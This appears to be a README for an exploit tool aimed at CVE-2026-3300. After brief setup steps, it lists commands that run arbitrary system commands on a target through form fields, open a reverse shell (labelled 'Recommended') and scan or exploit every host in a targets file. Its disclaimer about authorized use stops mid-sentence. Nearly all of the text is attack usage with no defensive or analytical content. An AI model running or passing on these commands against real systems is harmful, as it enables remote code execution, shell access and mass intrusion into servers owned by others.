
CVE-2026-3300
Use this project only in safe and authorized environments such as:
Example setup:
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
Example usage:
# Normal command execution
python cve-2026-3300.py http://localhost --mode poc -c "whoami"
# Try different payload types
python cve-2026-3300.py http://localhost --mode poc -p passthru -c "id"
# Reverse Shell (Recommended)
python cve-2026-3300.py http://localhost --mode reverse --listen 4444
# Scan all targets
python cve-2026-3300.py --file targets.txt --mode scan
# Exploit all targets
python cve-2026-3300.py --file targets.txt --mode exploit -c "whoami"
# Reverse shell (single target)
python cve-2026-3300.py --file targets.txt --mode reverse -l 4444
# Test with common field names
python cve-2026-3300.py http://target.com --mode exploit --field text_1 -c "whoami"
python cve-2026-3300.py http://target.com --mode exploit --field email -c "id"
# Reverse shell
python cve-2026-3300.py http://target.com --mode reverse --field text_field -l 4444
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